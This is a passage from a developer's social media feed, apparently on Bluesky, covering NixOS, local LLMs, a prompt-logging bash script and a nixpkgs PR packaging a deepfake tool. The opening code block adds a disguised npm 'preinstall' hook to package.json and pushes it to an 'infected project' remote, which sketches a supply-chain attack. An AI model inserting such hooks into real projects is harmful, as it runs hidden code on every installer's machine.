jq '.scripts += {"preinstall":";$SHELL ./scripts/totally-legit-setup-script"}' package.json;
git add .;
git commit --ammend --no-edit;
git remote add fork "${_url_infected_project}";
git push fork;
```
000
S0AndS0.eth @s0-and-s0.bsky.social · 10/03/2026
Was talking with a recruiter, as one does on a Monday, and grasping ... sorta struggling... they was wat sort of box to put me in Didn't have the heart to tell 'em, with sort of things I've done, such box getting legs and personality disorder by the next time we chat is non-zero
000
S0AndS0.eth @s0-and-s0.bsky.social · 07/03/2026
Gonna maybe try/regret local LLMs again, now that I'm using NixOS BTW™ Anyone have some good, and tested, recommendations for coding that be 30b or less in params?
```nix
{ pkgs, ... }:

{
  services.ollama = {
    enable = true;
    package = pkgs.ollama-cuda;
    loadModels = [
      "starcoder2:instruct"
    ];
  };
}
```
110
S0AndS0.eth @s0-and-s0.bsky.social · 06/03/2026
Woke today, Spidey Senses tingling, when I saw this code in a certain online place; ```python for key, values in dict.items(): for value in values: if values.count(value) > 1: ``` ... am I being too sensitive?
110
S0AndS0.eth @s0-and-s0.bsky.social · 06/03/2026
Premium Paid feature that disables all AI _enhancements_ of a service Who building this?
000
S0AndS0.eth @s0-and-s0.bsky.social · 05/03/2026
Recently happened across someone desiring tool to automate logging and tracking of proompts Why they didn't proompt for it I know not why ... that's what code gen's for, no? Regardless, required less than three minutes to write wrapper old-fashion way
```bash
#!/usr/bin/env bash

##
# Wrapper to log proomptings to file and track via Git
# Author: S0AndS0.eth
# License: This is your problem now (-;

set -eET;

_input=("${@}");
_dir="$(pwd)/.proompts/$(date +%F)";
_log="${_dir}/${USER}.log";
_cmd=(thing you use to proompt llm here with "${_input[@]?Undefined input}");

mkdir -p "${_dir}";
tee -a "${_log}" <<EOF
<proompt>
<input>
${_input[@]}
</input>
<output>
$( "${_cmd[@]}" )
</output>
<proompt>
EOF

git add "${_log}";
git commit -m "Track proompts" "${_log}";
```
000
S0AndS0.eth @s0-and-s0.bsky.social · 02/03/2026
After much struggle, technical struggle, and skill issues today I'm submitting a PR to NixOS packages! github.com/NixOS/nixpkg... ... still annoyed Cuda/NVIDIA stuff doesn't work during run-time, but it builds so maybe there's an expert that can hand-hold me through final sprint?
github.com
deep-live-cam: init at 2.6 and init dependencies by S0AndS0 · Pull Request #496013 · NixOS/nixpkgs
Deep-Live-Cam is a real time face swap and one-click video deepfake with only a single image Things done Built on platform: x86_64-linux aarch64-linux x86_64-darwin aarch64-darwin Tested, ...
000
S0AndS0.eth @s0-and-s0.bsky.social · 02/03/2026
SlopUp© diary entry — 419.68.1336.o1Iv Removing `&f_AL=true` from URL's search query parameters disables AI feature Removing `&f_AL=true` from URL's search query parameters disables features wholly unrelated to AI too Truly innovative re-defining of Enterprise™ grade quality!
000